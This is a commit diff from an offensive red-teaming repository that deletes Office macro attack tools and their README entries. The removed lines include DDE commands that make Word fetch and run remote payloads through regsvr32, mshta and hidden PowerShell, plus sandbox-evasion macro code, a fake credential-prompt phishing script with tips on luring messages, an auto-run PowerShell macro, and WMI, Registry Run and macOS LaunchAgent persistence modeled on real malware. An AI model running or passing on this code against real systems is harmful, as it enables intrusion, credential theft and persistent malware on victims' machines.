Added phishing directory.

red-teaming/Macro-Less-Cheatsheet.md

@@ -1,28 +0,0 @@
-## Macro-Less Code Execution in MS Office via DDE (Dynamic Data Exchange) techniques Cheat-Sheet
-
-- Using `regsvr32` _*.sct_ files technique:
-```
-DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/c Microsoft Office Application data   || regsvr32 /s /n /u /i:http://192.168.56.101/empire2.sct scrobj.dll"
-```
-
-- Using `HTA` files technique:
-```
-DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/c Microsoft Office Application data   || mshta http://192.168.56.101/poc.hta"
-```
-
-- Method from Empire - unfortunately unable to hide 'powershell.exe -NoP -sta -NonI' sequence
-```
-DDEAUTO C:\\Microsoft\\Programs\\Office\\MSWord.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/k  powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://192.168.56.101/default.ps1');powershell -noP -sta -w 1 -enc $e "
-```
-
-- CactusTorch DDE can also generate files in **JS** and **VBS** formats.
-They will utilize `cscript` as a file interpreter.
-
-- Another option is to use scripts by _Dominic Spinosa_ found [here](https://github.com/0xdeadbeefJERKY/Office-DDE-Payloads)
-
-- Another option is to stick with `Unicorn` by _Dave Kennedy_
-
-
-## Sources
-
-- https://medium.com/red-team/dde-payloads-16629f4a2fcd

red-teaming/MacroDetectSandbox.vbs

@@ -1,139 +0,0 @@
-Private Declare PtrSafe Function isDbgPresent Lib "kernel32" Alias "IsDebuggerPresent" () As Boolean
-
-Public Function IsFileNameNotAsHexes() As Boolean
-    Dim str As String
-    Dim hexes As Variant
-    Dim only_hexes As Boolean
-    
-    only_hexes = True
-    hexes = Array("0", "1", "2", "3", "4", "5", "6", "7", _
-                    "8", "9", "a", "b", "c", "d", "e", "f")
-    str = ActiveDocument.name
-    str = Mid(str, 1, InStrRev(str, ".") - 1)
-    
-    For i = 1 To UBound(hexes, 1) - 1
-        Dim ch As String
-        ch = LCase(Mid(str, i, 1))
-        If Not (UBound(Filter(hexes, ch)) > -1) Then
-            ' Character not in hexes array.
-            only_hexes = False
-            Exit For
-        End If
-    Next
-    
-    only_hexes = (Not only_hexes)
-    IsFileNameNotAsHexes = only_hexes
-End Function
-
-Public Function IsProcessListReliable() As Boolean
-    Dim objWMIService, objProcess, colProcess
-    Dim strComputer, strList
-    Dim bannedProcesses As Variant
-    
-    bannedProcesses = Array("fiddler", "vxstream", _
-        "tcpview", "vmware", "procexp", "vmtools", "autoit", _
-        "wireshark", "procmon", "idaq", "autoruns", "apatedns", _
-        "windbg")
-    
-    strComputer = "."
-
-    Set objWMIService = GetObject("winmgmts:" _
-    & "{impersonationLevel=impersonate}!\\" _
-    & strComputer & "\root\cimv2")
-    
-    Set colProcess = objWMIService.ExecQuery _
-    ("Select * from Win32_Process")
-    
-    For Each objProcess In colProcess
-        For Each proc In bannedProcesses
-            If InStr(LCase(objProcess.name), LCase(proc)) <> 0 Then
-                ' Found banned process.
-                IsProcessListReliable = False
-                Exit Function
-            End If
-        Next
-    Next
-    If isDbgPresent() Then
-        IsProcessListReliable = False
-        Exit Function
-    End If
-    IsProcessListReliable = (colProcess.Count() > 50)
-End Function
-
-Public Function IsHardwareReliable() As Boolean
-    Dim objWMIService, objItem, colItems, strComputer
-    Dim totalSize, totalMemory, cpusNum As Integer
-    
-    totalSize = 0
-    totalMemory = 0
-    cpusNum = 0
-    
-    Const wbemFlagReturnImmediately = &H10
-    Const wbemFlagForwardOnly = &H20
-
-    strComputer = "."
-    
-    ' Checking total HDD size
-    Set objWMIService = GetObject _
-    ("winmgmts:\\" & strComputer & "\root\cimv2")
-    Set colItems = objWMIService.ExecQuery _
-    ("Select * from Win32_LogicalDisk")
-    
-    For Each objItem In colItems
-        Dim num
-        num = Int(objItem.Size / 1073741824)
-        If num > 0 Then
-            totalSize = totalSize + num
-        End If
-    Next
-    
-    If totalSize < 60 Then
-        ' Total HDD size of the machine must be at least 60GB
-        IsHardwareReliable = False
-        Exit Function
-    End If
-    
-    ' Checking Memory
-    Set colComputer = objWMIService.ExecQuery _
-    ("Select * from Win32_ComputerSystem")
-    
-    For Each objComputer In colComputer
-        totalMemory = totalMemory + Int((objComputer.TotalPhysicalMemory) / 1048576) + 1
-    Next
-
-    If totalMemory < 1024 Then
-        ' Total Memory is less than 1GB
-        IsHardwareReliable = False
-        Exit Function
-    End If
-    
-    Set colItems2 = objWMIService.ExecQuery("SELECT * FROM Win32_Processor", "WQL", _
-        wbemFlagReturnImmediately + wbemFlagForwardOnly)
-        
-    For Each objItem In colItems2
-        cpusNum = cpusNum + objItem.NumberOfLogicalProcessors
-    Next
-    
-    If cpusNum < 2 Then
-        ' Nowadays everyone has at least 2 logical cores.
-        IsHardwareReliable = False
-        Exit Function
-    End If
-    
-    IsHardwareReliable = True
-End Function
-
-Public Function IsRunningInSandbox() As Boolean
-    Dim test As Boolean
-    If IsFileNameNotAsHexes() <> True Then
-        IsRunningInSandbox = True
-        Exit Function
-    ElseIf IsProcessListReliable() <> True Then
-        IsRunningInSandbox = True
-        Exit Function
-    ElseIf IsHardwareReliable() <> True Then
-        IsRunningInSandbox = True
-        Exit Function
-    End If
-    IsRunningInSandbox = False
-End Function

red-teaming/Phish-Creds.ps1

@@ -1,24 +0,0 @@
-<#
-
-try { 
-  (Get-Credential -Credential $null).GetNetworkCredential() | 
-  Select-Object @{name="User"; expression = {
-      If ($_.Domain -ne [string]::Empty) {
-        "{0}\{1}" -f ($_.Domain), ($_.UserName)
-      } Else { 
-        $_.UserName
-      } 
-    }
-  }, Password | Format-List 
-} catch { 
-}
-
-One can additionally add, right after Get-Credential following parameters that could improve 
-pretext's quality during social engineering attempt:
-
--Credential domain\username - when we know our victim's domain and/or username - we can supply this info to the dialog
--Message "Some luring sentence" - to include some luring message
-
-#>
-
-try { ((Get-Credential -Credential $null).GetNetworkCredential() | Select-Object @{name="User"; expression={If ($_.Domain -ne [string]::Empty) {"{0}\{1}" -f ($_.Domain), ($_.UserName)} Else { $_.UserName} }}, Password | Format-List) } catch { }

red-teaming/README.md

@@ -72,8 +72,6 @@ IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Com
 
 - **`Create-Lnk.ps1`** - Uttertly simple script to create LNK files. Handy when one needs to create some dodgy shortcuts acting as yet another stage in code execution step.
 
-- **`delete-warning-div-macro.vbs`** - VBA Macro function to be used as a Social Engineering trick removing "Enable Content" warning message as the topmost floating text box with given name. ([gist](https://gist.github.com/mgeeky/9cb6acdec31c8a70cc037c84c77a359c))
-
 - **`Disable-Amsi.ps1`** - Tries to evade AMSI by leveraging couple of publicly documented techniqus, but in an approach to avoid signatured or otherwise considered harmful keywords. 
 
 Using a hash-lookup approach when determining prohibited symbol names, we are able to avoid relying on blacklisted values and having them hardcoded within the script. This implementation iterates over all of the assemblies, their exposed types, methods and fields in order to find those that are required but by their computed hash-value rather than direct name. Since hash-value computation algorithm was open-sources and is simple to manipulate, the attacker becomes able to customize hash-lookup scheme the way he likes.
@@ -289,12 +287,6 @@ PS E:\PowerSploit\Recon> Get-DomainOU | Get-DomainOUTree
 
 - **`Invoke-Command-Cred-Example.ps1`** - Example of using PSRemoting with credentials passed directly from command line. ([gist](https://gist.github.com/mgeeky/de4ecf952ddce774d241b85cfbf97faf))
 
-- **`MacroDetectSandbox.vbs`** - Visual Basic script responsible for detecting Sandbox environments, as presented in modern Trojan Droppers implemented in Macros. ([gist](https://gist.github.com/mgeeky/61e4dfe305ab719e9874ca442779a91d))
-
-- **`Macro-Less-Cheatsheet.md`** - Macro-Less Code Execution in MS Office via DDE (Dynamic Data Exchange) techniques Cheat-Sheet ([gist](https://gist.github.com/mgeeky/981213b4c73093706fc2446deaa5f0c5))
-
-- **`macro-psh-stdin-author.vbs`** - VBS Social Engineering Macro with Powershell invocation taking arguments from Author property and feeding them to StdIn. ([gist](https://gist.github.com/mgeeky/50c4b7fa22d930a80247fea62755fbd3))
-
 - **`markOwnedNodesInNeo4j.py`** - This script takes an input file containing Node names to be marked in Neo4j database as owned = True. The strategy for working with neo4j and Bloodhound becomes fruitful during complex Active Directory Security Review assessments or Red Teams. Imagine you've kerberoasted a number of accounts, access set of workstations or even cracked userPassword hashes. Using this script you can quickly instruct Neo4j to mark that principals as owned, which will enrich your future use of BloodHound.
 
 ```bash
@@ -318,21 +310,10 @@ $ ./markOwnedNodesInNeo4j.py kerberoasted.txt
 
 - **`muti-stage-1.md`** - Multi-Stage Penetration-Testing / Red Teaming Malicious Word document creation process. ([gist](https://gist.github.com/mgeeky/6097ea56e0f541aa7d98161e2aa76dfb))
 
-- **`Phish-Creds.ps1`** - Powershell oneline Credentials Phisher - to be used in malicious Word Macros/VBA/HTA or other RCE commands on seized machine. ([gist](https://gist.github.com/mgeeky/a404d7f23c85954650d686bb3f02abaf))
-
-    One can additionally add, right after `Get-Credential` following parameters that could improve pretext's quality during social engineering attempt:
-    - `-Credential domain\username` - when we know our victim's domain and/or username - we can supply this info to the dialog
-    - `-Message "Some luring sentence"` - to include some luring message
-
-- [**`PhishingPost`**](https://github.com/mgeeky/PhishingPost) - (PHP Script intdended to be used during Phishing campaigns as a credentials collector linked to backdoored HTML <form> action parameter.
-
 - [**`RedWarden`**](https://github.com/mgeeky/RedWarden) - A Cobalt Strike C2 Reverse proxy fending off Blue Teams, AVs, EDRs, scanners through packet inspection and malleable profile correlation.
 
 - [**`rogue-dot-net`**](https://github.com/mgeeky/Penetration-Testing-Tools/tree/master/red-teaming/rogue-dot-net) - Set of scripts, requirements and instructions for generating .NET Assemblies valid for **Regasm**/**Regsvcs**/**InstallUtil** code execution primitives. 
 
-- [**`RobustPentestMacro`**](https://github.com/mgeeky/RobustPentestMacro) - This is a rich-featured Visual Basic macro code for use during Penetration Testing assignments, implementing various advanced post-exploitation techniques.
-
-
 - **`Save-ReconData.ps1`** - Powershell script leveraging [PowerSploit Recon](https://github.com/PowerShellMafia/PowerSploit) module (PowerView) to save output from Reconnaissance cmdlets like `Get-*`, `Find-*` into _Clixml_ files. It differs from `Export-ReconData.ps1` in that it supports only older PowerView version from before 12 dec 2016. 
     Exposed functions:
     - `Save-ReconData` - Launches many cmdlets and exports their Clixml outputs.
@@ -446,14 +427,3 @@ mimikatz(powershell) # ;
 
 - **`SubstitutePageMacro.vbs`** - This is a template for the Malicious Macros that would like to substitute primary contents of the document (like luring/fake warnings to "Enable Content") and replace document's contents with what is inside of an AutoText named `RealDoc` (configured via variable `autoTextTemplateName` ). ([gist](https://gist.github.com/mgeeky/3c705560c5041ab20c62f41e917616e6))
 
-- **`warnings\EN-Word.docx`** and **`warnings\EN-Excel.docx`**  - Set of ready-to-use Microsoft Office Word shapes that can be pasted / inserted into malicious documents for enticing user into clicking "Enable Editing" and "Enable Content" buttons.
-
-- **`WMIPersistence.vbs`** - Visual Basic Script implementing WMI Persistence method (as implemented in SEADADDY malware and further documented by Matt Graeber) to make the Macro code schedule malware startup after roughly 3 minutes since system gets up. ([gist](https://gist.github.com/mgeeky/d00ba855d2af73fd8d7446df0f64c25a))
-
-- **`Various-Macro-Based-RCEs.md`** - Various Visual Basic Macros-based Remote Code Execution techniques to get your meterpreter invoked on the infected machine. ([gist](https://gist.github.com/mgeeky/61e4dfe305ab719e9874ca442779a91d))
-
-- **`vba-macro-mac-persistence.vbs`** - (WIP) Working on VBA-based MacPersistance functionality for MS Office for Mac Macros. ([gist](https://gist.github.com/mgeeky/dd184e7f50dfab5ac97b4855f23952bc))
-
-- **`vba-windows-persistence.vbs`** - VBA Script implementing two windows persistence methods - via WMI EventFilter object and via simple Registry Run. ([gist](https://gist.github.com/mgeeky/07ffbd9dbb64c80afe05fb45a0f66f81))
-
-- [**`VisualBasicObfuscator`**](https://github.com/mgeeky/VisualBasicObfuscator) - Visual Basic Code universal Obfuscator intended to be used during penetration testing assignments.

red-teaming/WMIPersistence.vbs

@@ -1,77 +0,0 @@
-'
-' SYNOPSIS:
-' 	WMI Persistence method as originally presented by SEADADDY malware
-'		(https://github.com/pan-unit42/iocs/blob/master/seaduke/decompiled.py#L887)
-' 	and further documented by Matt Graeber.
-'
-' 	The scheduled command will be launched after roughly 3 minutes since system 
-' 	gets up. Also, even if the command shall spawn a window - it will not be visible,
-' 	since the command will get invoked by WmiPrvSE.exe that's running in Session 0.
-'
-' USAGE:
-'	WMIPersistence("command to be launched", "taskName")
-'
-' EXAMPLE:
-'	WMIPersistence("powershell -noP -sta -w 1 -enc WwBSAGUAZgBdAC4AQQ[...]EUAWAA=", "WindowsUpdater")
-'
-' AUTHOR: 
-'	Mariusz B. / mgeeky, '17
-'
-
-Public Function WMIPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean
-    Dim filterName, consumerName As String
-    Dim objLocator, objService1
-    Dim objInstances1, objInstances2, objInstances3
-    Dim newObj1, newObj2, newObj3
-    
-    On Error GoTo Failed
-    
-    filterName = taskName & "Event"
-    consumerName = taskName & "Consumer"
-    
-    Set objLocator = CreateObject("WbemScripting.SWbemLocator")
-    Set objService1 = objLocator.ConnectServer(".", "root\subscription")
-    
-    '
-    ' Step 1: Set WMI Instance of type Event Filter
-    '
-    Set objInstances1 = objService1.Get("__EventFilter")
-
-    ' The malware originally will kicks in after roughly 3 minutes since System gets up.
-    ' One can modify this delay time by modifying the WHERE clausule of the below query.
-    query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 " _
-    & "WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' " _
-    & "AND TargetInstance.SystemUpTime >= 200 AND " _
-    & "TargetInstance.SystemUpTime < 320"
-    
-    ' New object of type __EventFilter
-    Set newObj1 = objInstances1.Spawninstance_
-    newObj1.name = filterName
-    newObj1.eventNamespace = "root\cimv2"
-    newObj1.QueryLanguage = "WQL"
-    newObj1.query = query
-    newObj1.Put_
-    
-    '
-    ' Step 2: Set WMI instance of type: CommandLineEventConsumer
-    '
-    Set objInstances2 = objService1.Get("CommandLineEventConsumer")
-    Set newObj2 = objInstances2.Spawninstance_
-    newObj2.name = consumerName
-    newObj2.CommandLineTemplate = exePath
-    newObj2.Put_
-    
-    '
-    ' Step 3: Set WMI instance of type: Filter To Consumer Binding
-    '
-    Set objInstances3 = objService1.Get("__FilterToConsumerBinding")
-    Set newObj3 = objInstances3.Spawninstance_
-    newObj3.Filter = "__EventFilter.Name=""" & filterName & """"
-    newObj3.Consumer = "CommandLineEventConsumer.Name=""" & consumerName & """"
-    newObj3.Put_
-    
-    WMIPersistence = True
-    Exit Function
-Failed:
-    WMIPersistence = False
-End Function

red-teaming/macro-psh-stdin-author.vbs

@@ -1,12 +0,0 @@
-Private Sub Workbook_Open()
-    Dim author As String
-    author = ActiveWorkbook.BuiltinDocumentProperties("Author")
-    
-    Dim ws As Object
-    Set ws = CreateObject("WScript.Shell")
-    With ws.Exec("powershell.exe -nop -WindowStyle hidden -Command -")
-        .StdIn.WriteLine author
-        .StdIn.WriteBlankLines 1
-        .Terminate
-    End With
-End Sub

red-teaming/vba-macro-mac-persistence.vbs

@@ -1,81 +0,0 @@
-#If VBA7 Then
-    ' 64-bit Mac (2016)
-    Private Declare PtrSafe Function system Lib "libc.dylib" Alias "system" _
-        (ByVal command As String) As Long
-    Private Declare PtrSafe Function fopen Lib "libc.dylib" Alias "fopen" _
-        (ByVal file As String, ByVal mode As String) As LongPtr
-    Private Declare PtrSafe Function fputs Lib "libc.dylib" Alias "fputs" _
-        (ByVal str As String, ByVal file As LongPtr) As Long
-    Private Declare PtrSafe Function fclose Lib "libc.dylib" Alias "fclose" _
-        (ByVal file As LongPtr) As Long
-#Else
-    ' 32-bit Mac
-    Private Declare Function system Lib "libc.dylib" Alias "system" _
-        (ByVal command As String) As Long
-    Private Declare Function fopen Lib "libc.dylib" Alias "fopen" _
-        (ByVal file As String, ByVal mode As String) As Long
-    Private Declare Function fputs Lib "libc.dylib" Alias "fputs" _
-        (ByVal str As String, ByVal file As Long) As Long   
-    Private Declare Function fclose Lib "libc.dylib" Alias "fclose" _
-        (ByVal file As Long) As Long    
-#End If
-
-Sub writeToFile(ByVal file As String, ByVal txt As String)
-    #If Mac Then
-        #If VBA7 Then
-            Dim fp As LongPtr
-        #Else
-            Dim fp As Long
-        #End If
-
-        Dim grants
-        grants = Array(file)
-        GrantAccessToMultipleFiles(grants)
-
-        ' BUG: fopen will return 0 here.
-        fp = fopen(file, "w")
-        If fp = 0 Then: Exit Sub
-
-        fputs txt, fp
-        fclose(fp)
-    #End If
-End Sub
-
-Sub MacPersistence(ByVal cmd As String, ByVal taskName As String)
-    Dim plist As String
-    plist = "<?xml version=""1.0"" encoding=""UTF-8""?>\n"
-    plist = plist & "<!DOCTYPE plist PUBLIC ""-//Apple Computer//DTD "
-    plist = plist & "PLIST 1.0//EN"" ""http://www.apple.com/DTDs/plist"
-    plist = plist & " = plist & PropertyList-1.0.dtd"">\n"
-    plist = plist & "<plist version=""1.0"">\n
-    plist = plist & "<dict>\n"
-    plist = plist & "    <key>Label</key>\n"
-    plist = plist & "    <string>" & taskName & "</string>\n"
-    plist = plist & "    <key>ProgramArguments</key>\n"
-    plist = plist & "    <array>\n"
-    plist = plist & "        <string>/bin/bash</string>\n"
-    plist = plist & "        <string>-c</string>\n"
-    plist = plist & "        <string>'" & cmd & "'</string>\n"
-    plist = plist & "    </array>\n"
-    plist = plist & "    <key>RunAtLoad</key>\n"
-    plist = plist & "    <true/>\n"
-    plist = plist & "    <key>KeepAlive</key>\n"
-    plist = plist & "    <true/>\n"
-    plist = plist & "</dict>\n"
-    plist = plist & "</plist>\n"
-
-    ' TODO: File writing does not work at the moment, most likely due to 
-    '       apps sandboxing mechanism enforced by the system.
-
-    ' Approach #1: File write by system command
-    ' system("echo -e """ & plist & """ > ~/Library/LaunchAgents/" & taskName)
-
-    ' Approach #2: File write by fopen+fputs+fclose
-    Dim fileName As String
-    fileName = "~/Library/LaunchAgents/" & taskName & ".plist"
-    writeToFile fileName, plist
-End Sub
-
-Sub TestMacPersistence()
-    MacPersistence "/Applications/Calculator.app/Contents/MacOS/Calculator", "com.java.update"
-End Sub

red-teaming/vba-windows-persistence.vbs

@@ -1,105 +0,0 @@
-'
-' SYNOPSIS:
-'   This macro implements two windows persistence methods:
-'   - WMI Event Filter object creation 
-'   - simple HKCU Registry Run value insertion. It has to be HKCU to make it work under Win10 x64
-'
-'   WMI Persistence method as originally presented by SEADADDY malware
-'       (https://github.com/pan-unit42/iocs/blob/master/seaduke/decompiled.py#L887)
-'   and further documented by Matt Graeber.
-'
-'   The scheduled command will be launched after roughly 3 minutes since system
-'   gets up. Also, even if the command shall spawn a window - it will not be visible,
-'   since the command will get invoked by WmiPrvSE.exe that's running in Session 0.
-'
-' USAGE:
-'   WindowsPersistence("command to be launched", "taskName")
-'
-' EXAMPLE:
-'   WindowsPersistence "powershell -noP -sta -w 1 -enc WwBSAGUAZgBdAC4AQQ[...]EUAWAA=", "WindowsUpdater"
-'
-' AUTHOR:
-'   Mariusz B. / mgeeky, '17
-'
-
-Public Function WMIPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean
-    Dim filterName, consumerName As String
-    Dim objLocator, objService1
-    Dim objInstances1, objInstances2, objInstances3
-    Dim newObj1, newObj2, newObj3
-    
-    On Error GoTo Failed
-    
-    filterName = taskName & "Event"
-    consumerName = taskName & "Consumer"
-    
-    Set objLocator = CreateObject("WbemScripting.SWbemLocator")
-    Set objService1 = objLocator.ConnectServer(".", "root\subscription")
-    
-    '
-    ' Step 1: Set WMI Instance of type Event Filter
-    '
-    Set objInstances1 = objService1.Get("__EventFilter")
-
-    ' The malware originally will kicks in after roughly 3 minutes since System gets up.
-    ' One can modify this delay time by modifying the WHERE clausule of the below query.
-    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 " _
-    & "WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' " _
-    & "AND TargetInstance.SystemUpTime >= 200 AND " _
-    & "TargetInstance.SystemUpTime < 320"
-    
-    ' New object of type __EventFilter
-    Set newObj1 = objInstances1.Spawninstance_
-    newObj1.Name = filterName
-    newObj1.eventNamespace = "root\cimv2"
-    newObj1.QueryLanguage = "WQL"
-    newObj1.Query = Query
-    newObj1.Put_
-    
-    '
-    ' Step 2: Set WMI instance of type: CommandLineEventConsumer
-    '
-    Set objInstances2 = objService1.Get("CommandLineEventConsumer")
-    Set newObj2 = objInstances2.Spawninstance_
-    newObj2.Name = consumerName
-    newObj2.CommandLineTemplate = exePath
-    newObj2.Put_
-    
-    '
-    ' Step 3: Set WMI instance of type: Filter To Consumer Binding
-    '
-    Set objInstances3 = objService1.Get("__FilterToConsumerBinding")
-    Set newObj3 = objInstances3.Spawninstance_
-    newObj3.Filter = "__EventFilter.Name=""" & filterName & """"
-    newObj3.Consumer = "CommandLineEventConsumer.Name=""" & consumerName & """"
-    newObj3.Put_
-    
-    WMIPersistence = True
-    Exit Function
-Failed:
-    WMIPersistence = False
-End Function
-
-Public Function RegistryPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean
-    On Error GoTo Failed
-        
-    Const HKEY_CURRENT_USER = &H80000001
-    strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Run"
-    strComputer = "."
-    Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\default:StdRegProv")
-    strValueName = taskName
-    strValue = exePath
-    objReg.SetExpandedStringValue HKEY_CURRENT_USER, strKeyPath, strValueName, strValue
-    
-    RegistryPersistence = True
-    Exit Function
-Failed:
-    RegistryPersistence = False
-End Function
-
-
-Public Function WindowsPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean
-    If WMIPersistence(exePath, taskName) <> True Then
-        RegistryPersistence exePath, taskName
-    End If
-End Function